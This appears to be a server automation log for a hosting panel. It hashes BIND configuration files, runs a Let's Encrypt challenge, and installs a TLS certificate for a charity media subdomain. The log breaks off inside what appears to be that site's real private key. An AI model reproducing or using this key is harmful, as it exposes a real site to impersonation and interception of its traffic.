MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-10-09 11:28:40: Establishing a connection
2025-10-09 11:28:50: Establishing a connection
2025-10-09 11:28:51: 

PUT: /tmp/pkp220177

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-10-09 11:28:51: 

runuser -l bind -s /bin/bash -c '/tmp/pkp220177; rm /tmp/pkp220177'

2025-10-09 11:28:51: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= a3d92972abbb369edf3baf47c3e33e8b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-10-09 11:29:07: Establishing a connection
2025-10-09 11:29:07: Establishing a connection
2025-10-09 11:29:08: 

PUT: /tmp/pkp361081

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_media/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-09 11:29:08: 

chmod 755 /tmp/pkp361081; /tmp/pkp361081; rm /tmp/pkp361081

2025-10-09 11:29:08: 


1


2025-10-09 11:29:09: Establishing a connection
2025-10-09 11:29:09: 

PUT: /tmp/pkp545987

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_media/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_media/.well-known/acme-challenge/"
cat > c3ftzaMP7N23cSWDkv1t8b9nKSsK2Ig0XxDnt9rCJNY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
c3ftzaMP7N23cSWDkv1t8b9nKSsK2Ig0XxDnt9rCJNY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 c3ftzaMP7N23cSWDkv1t8b9nKSsK2Ig0XxDnt9rCJNY


2025-10-09 11:29:09: 

chmod 755 /tmp/pkp545987; /tmp/pkp545987; rm /tmp/pkp545987

2025-10-09 11:29:09: 




2025-10-09 11:29:16: Establishing a connection
2025-10-09 11:29:16: 

PUT: /tmp/pkp701450

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_media/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_media/.well-known/acme-challenge/"
rm c3ftzaMP7N23cSWDkv1t8b9nKSsK2Ig0XxDnt9rCJNY


2025-10-09 11:29:16: 

chmod 755 /tmp/pkp701450; /tmp/pkp701450; rm /tmp/pkp701450

2025-10-09 11:29:16: 




2025-10-09 11:29:16: Establishing a connection
2025-10-09 11:29:16: 

PUT: /tmp/pkp981063

#!/bin/bash
temp_file=$(mktemp)
TARGET=761f20410d05cde2a6e96bdaa7145760.crt

cat > $temp_file <<'endmsg'
aa:8d:26:e3:d4:80:5f:30:31:e2:50:0c:d9:d6:d8:a4

-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBvFWDJoJgTcgw8699OnQlDaqMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDA5MTAzMDQ0WhcNMjYwMTA3MTAzMDQzWjAkMSIwIAYDVQQD
ExltZWRpYS5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAtyrRuZc8DY7lnSS6I9bYpzvcYgsXqeQa93ld5wZQvpl56eH6
nhn1/1IootanCh2BotxUspFobKLtEAG6bqERFP/PIWgEN7KRlVEr0UJ90WrSRfcq
EtQAdpIOUiuvHpPZQG/3H8Nu4+cLkLQMPougneTifWs1smOCAL07PY6V/p0VXyp6
JNMaxEOTd2ysE+A+SaUU8MlSu7RrDs7HtuYEiuMU//BrahtLtVBdp5fKbDXedknI
cle3ArerKb5s+0IhlgKvow0CUtDoExLzMQvW7LBAE/OirImkCCxhwERJFXAmyL+H
oqM6lCKcfNjNCaOX6+CSiCz9tKhwnqHWVlsJGwIDAQABo4ICKTCCAiUwDgYDVR0P
AQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMB
Af8EAjAAMB0GA1UdDgQWBBQOcAPawv8YmkyX370TuzlR92y+iDAfBgNVHSMEGDAW
gBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUH
MAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCQGA1UdEQQdMBuCGW1lZGlhLmhv
cGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcw
JTAjoCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy80My5jcmwwggEEBgorBgEE
AdZ5AgQCBIH1BIHyAPAAdgAOV5S8866pPjMbLJkHs/eQ35vCPXEyJd0hqSWsYcVO
IQAAAZnIu3t3AAAEAwBHMEUCIQCNBhliVIr626ReraUgcCjcuWBcAJRr/jArGozA
WrIEqgIgPxISo5y0bcB9sx8OM+xOgJV9n6BcRY7wUYBe/xWZLO8AdgDLOPcViXyE
oURfW8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAAAZnIu4NVAAAEAwBHMEUCIQDaSzWK
cJbWAgRYigKes7pcV3WHY0AQ9zB7Z27Twp6k9gIgBep6gRoTvogI4f9OI1xxUdj2
ZvoAbjhs/EZoFy+wKykwDQYJKoZIhvcNAQELBQADggEBAGoY73R6loOdEUFWIEYL
L9+lGpPitNRCv1YC/goEyGQhRhObWq6/Ls8LwwtF0XcBYpA9eQGE1kJW6umfQ+DO
4AWTPu8giHH7iFk9voiuneq9XA/57D118o0I/EAbPPwxb4NSdEl/ojOBcuceId/H
OVBMC2X/S98OZ4D/83hvxumAf1layVr/8slvbSbTmzHnywHhHewB9yrzvcAUnCwi
bMHqOgupXIfYuf2behfFdGcsjid+Ce0q6Swrjjg49iJlOxsDvHOhVO8DRtmAhsfS
gLakFA+5SDz4fFxrVHzwR/Pwg/9tNcfpUdoLCyp5vqirjMP0htNOjahII6+NaWvH
B1U=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC3KtG5lzwNjuWd
JLoj1tinO9xiCxep5Br3eV3nBlC+mXnp4fqeGfX/Uiii1qcKHYGi3FSykWhsou0Q
AbpuoREU/88haAQ3spGVUSvRQn3RatJF9yoS1AB2kg5SK68ek9lAb/cfw27j5wuQ
tAw+i6Cd5OJ9azWyY4IAvTs9jpX+nRVfKnok0xrEQ5N3bKwT4D5JpRTwyVK7tGsO
zse25gSK4xT/8GtqG0u1UF2nl8psNd52SchyV7cCt6spvmz7QiGWAq+jDQJS0OgT
EvMxC9bssEAT86KsiaQILGHAREkVcCbIv4eiozqUIpx82M0Jo5fr4JKILP20qHCe
odZWWwkbAgMBAAECggEATqRZy189b2zM9P1R1hVmi9bNtmKg1FaVpW88e/ZgMJVg
nKRjoAHxdp/lxpR2v4cPo8cJrmlz9kC1m8vCKcGJvgRfAC7SsL9AdmWVdJEhyAof
Id8O92qCkGYBNBKBa5V7D4mDBuY39C2873H+V9RHL8OX4tVnBqJmrL6ScsmHaPt6
O/Xc9tj9GVpHjvlg/6c8GmGBo04CBNHbYQ0pFLdsegGnVJ2l5hrW4q9REmCngbEV
bkgFmfDeAhX6LJe9/oBUP6TrY26ygM8HuE+nLBw/Br8/kYvnzKvL8SxBRQeAOfLZ
THaCgGGr+jumCZm9oozG1lvryMyvAfZXA9glZvtR8QKBgQDpX2fxEFeCkFij0U6f
y/hKe1csaeqb8t3iiPX1gXFFRqeU3Ij1uOYEzZ3AbViiM+Ei38ctzQR6X/aKr9YT
dVzbTs/BUZPKwOksfikgsOdEMiIBOt3OcUjHqM+nTflWQ87tQykIr0neGLvYTNrl
RQQ0WAtQMnVHrv7ZjsnqNRAYLwKBgQDI7UDvVdM+zXYlTC8duLN+07r0+9ZZmFjC
r/KajFsPygbUPOf0l/anyPsgqQbSwAgZW51VytdShFStFwf4FL/t78ZKjP3whNg+
PDah5q7MT2WOaXm/2L5jwqf7quTEL/wQ7sfoVXqMLLmllqyOzhSvqbdJ+HoVMx9B
RBLdvrM21QKBgG+MuQRTSWERWi1DuQ9M0evYNPz3y7qrRkAoM1kcfGYeta/EEntR
3DDjj8oQ+lLd9XlT+cL8wm00PYZhMjSu3qm9bDT9p2U8/LfVvhbwODsys2pfFvK8
14sIN+nCrbH8S4bBmXWbQ/WzYOatJdx9NttGUnINDF4tWYfoZr9aiczlAoGBALQ7
der6PqJwJRFx1DXB72jNvj9xA6acrMn+kA0n56szGosZEyxpf/yjoPh8Bj3Xuawd
